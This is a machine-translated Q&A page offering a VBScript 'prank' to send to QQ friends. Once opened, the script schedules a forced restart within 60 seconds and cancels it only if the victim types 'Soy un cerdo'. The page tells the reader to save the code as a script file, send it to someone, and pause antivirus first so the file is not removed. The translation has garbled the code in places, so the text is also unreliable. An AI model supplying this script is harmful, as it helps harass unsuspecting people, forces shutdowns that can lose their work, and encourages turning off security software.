Red de conocimiento informático - Programación de la red - Quien me envíe un software de broma QQ, simplemente envíelo a sus amigos de QQ. Una vez que lo abran, pídales que respondan "Soy un cerdo" o, de lo contrario, se cerrará automáticamente durante un día.

Quien me envíe un software de broma QQ, simplemente envíelo a sus amigos de QQ. Una vez que lo abran, pídales que respondan "Soy un cerdo" o, de lo contrario, se cerrará automáticamente durante un día.

Continúe con el siguiente paso si ocurre un error

dim WSHshellA

Set WSHshellA = wscript . createobject(" wscript . shell ")

wsh shell a . " cmd . exe /cshutdown-r-t60-c " "Dime que soy un cerdo o apagaré tu teléfono en un minuto. Si no me crees, intenta..." ", 0 , true

Dim.

do while(a <& gt"Soy un cerdo")

A = inputbox("Di que soy un cerdo , no lo cierres, pásalo rápido, di" "Yo es un cerdo" ", "No digas", "No digas", 80007000)

msgbox chr(13)+ chr(13)+chr(13)+a, 0, " MsgBox "

Anillo

msgbox CHR(13)+CHR(13)+CHR(13)+"I Ojalá te lo hubiera dicho antes."

Dim WSHshell

Set wsh shell = wscript . createobject(" wscript . shell ")

wsh shell . run " cmd exe/c apagado-a ", 0, true

msgbox CHR(13)+CHR(13)+CHR(13)+"Cerdo, realmente eres un cerdo~"

——Soy una línea horizontal. No me imites.

Copie el código en las líneas horizontales en el Bloc de notas~~ y guárdelo como un nombre. Recuerda agregar. Ve a la parte de atrás.

Envíe el archivo a la otra parte ~~ Siempre que la otra parte lo abra durante un minuto, se cerrará. Como se mencionó anteriormente, si dices esas tres palabras, no se apagará. Probar.

Simplemente cambie el texto según sus propios requisitos ~

Debe pausar el software antivirus antes de escribir el código; de lo contrario, lo matarán.

Acepto 0|Comentarios